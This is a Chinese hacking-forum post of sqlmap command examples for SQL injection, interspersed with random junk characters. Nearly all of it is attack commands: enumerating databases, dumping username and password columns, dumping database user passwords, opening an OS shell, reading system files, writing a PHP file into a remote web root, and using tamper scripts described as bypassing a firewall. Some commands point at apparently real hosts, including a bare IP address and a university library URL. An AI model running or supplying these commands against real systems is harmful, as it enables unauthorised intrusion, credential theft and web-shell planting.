找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1892|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/pentest/database/sqlmap5 V( o# N4 Q5 ], ~2 d
. N$ V7 k, W: V1 D2 r0 b8 h# C) l
update :::::>     in the folder   after  execute    following   order : svn update
, s) s4 a4 g3 N. l2 G% _6 @% |; b6 q1 b
sqlmap.py -r 1.txt --current-db
: G% ~) C* X" e/ K, h
5 m+ W( f' H4 o  L& Nv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
+ C2 M7 I0 T# ]# @! F: Y' T  S8 d8 y3 l
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) 6 l3 }% g$ ^  }6 E- w5 r; n
猜解数据库
: `* k. Z, I/ {0 \./sqlmap.py -u "injection-url" --dbs9 O  K/ c* y- i9 f* x- R
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
$ W6 Z$ Q. |$ v, w# U0 w" x. X' E3 a# o6 X4 }) s
猜解表名1 F2 s) g; D9 v7 i5 b$ Y9 h# h% K" C
./sqlmap.py -u "injection-url" -D database_name --tables' W3 ]. \) K6 D/ p: W: B& ]6 E

" ?  u  g) Z# a0 psqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"5 q6 a% t+ m9 i, D( U
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" 7 i  `5 U$ C- q9 v$ o
! ?: }6 L) y, P  f5 T1 o: Z
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
: P: b& W& u/ [6 Y5 |" D/ }6 G! C& V) j; H& l) b# j1 ^* Y
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"1 C7 R5 R: v" ]# N/ x* ?
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"2 f4 q$ d* m9 m
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
* W0 K! G7 S. s$ Ksqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"% x! A6 Z) W% a) X( d
( T- d( L/ O$ w! m  m, M' R
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"+ r+ E7 M2 d0 Z) o, I* @; p
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
; K* W2 W0 S) f0 W5 qsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
. M' x0 i9 p5 a+ r. p8 {' j7 Tsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py". g. s% V/ t$ R4 L: G6 ]$ D1 J; X
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump& y* k- H" ]( s8 j3 z( C. J; N
3 o: s4 Z- C. Z7 m& ?3 b
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了" x3 O3 J2 |0 B, ^0 G7 P
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"- m7 Z; L8 S3 j. h" c) M

9 B" G; T4 Y) u3 e) T* ~$ _sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"% j# s2 Z8 w2 p& ?+ K: P
猜解列名
. r4 w* C) M. \# W4 _, y- O./sqlmap.py -u "injection-url" -D database_name -T table_name --columns4 q9 [! b5 N/ s* W
/ `& [# l. b5 q% H5 n1 t5 l5 v. q
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
, t8 A# V) J/ _, Vsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 0 \2 X. \# D6 w$ Q% n
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"9 B3 F: o& v9 Y) r

: C, X" G# e% ?( G5 msqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
2 ?) Z" X& `( f$ _' \5 j- |1 {1 ^0 [&submit=Go
! v# h& f% G0 I* k猜解值
" g( s- [6 K& T1 ^' S4 D$ B./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump( j8 X! o4 n$ I; K# q
========================================================- e6 k7 r2 y1 g/ r3 g
搜索表名中包括mana字符的
- J9 p# e: C* p/sqlmap.py -u "injection-url" -T mana --search* t4 Y: T* n+ Y$ D4 x
返回一个交互式sql shell; B$ x( h/ K6 R" ^: W" E( n( N
/sqlmap.py -u "injection-url" --sql-shell
, Z7 l3 N6 }8 L$ D3 p8 A读取指定文件(需权限)
+ a1 h) R; j/ Q/ g, Z/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
- U( X4 ?) |% N3 g! q5 b' d查看当前 用户 及 数据库 ! s+ _. B) V, {  q. v, ~
/sqlmap.py -u "injection-url" --current-user --current-db5 _6 A& ?$ P. B7 C4 h% g; U
本地文件 写入 远程目标绝对路径
5 w$ b5 G: o1 u& \/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径$ V+ |6 V& T2 t8 w4 S
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" 9 ]2 F  k' G- r& u% X! {, I

! X6 m4 x2 O; {# j7 ]sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
2 P; [0 f; k$ s7 Y查看某用的权限. F# {$ N, x' ~  G1 J* Y. [
/sqlmap.py -u "injection-url" --privileges -U root
$ R* K, @; |' ~& e查看当前用户是否为dba+ V! e; d. p  z$ l8 `3 R3 i3 ^" H
/sqlmap.py -u "injection-url" --is-dba
8 O; V- Y4 X1 u4 S读取所有数据库用户或指定数据库用户的密码- j* F% f1 A* d; ]# e" F/ ^2 }1 \/ @
sqlmap.py -r 1.txt --users --passwords
9 S. Y2 V2 k5 |5 x/ Dsqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
! U! H( Y$ m: E+ j3 k* A+ Z* W( R" h; C$ h( }
/sqlmap.py -u "injection-url" --passwords -U root
+ @8 t4 D, G% H* u% d$ {; Z! v) e
- q9 a6 w! ~: t; s% Q! ^- }, o' f2 g--start&&--stop 与 --first&&--last 的区别
: }0 m' e! u7 X) U/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……): n  Q" p6 t/ e3 D& Y, F
, e  ], p7 t" `
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
( y3 }: L: t6 L2 X2 e/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
9 N6 |: S9 D" P% b/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns  R7 N6 C! a: k( j) L2 m0 d
: M' T' ~9 ^3 ~/ V
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
2 r0 M  ^6 m, [3 I( N/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip", K2 A4 M$ _8 E- T# d
0 I9 `7 _5 Z  A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表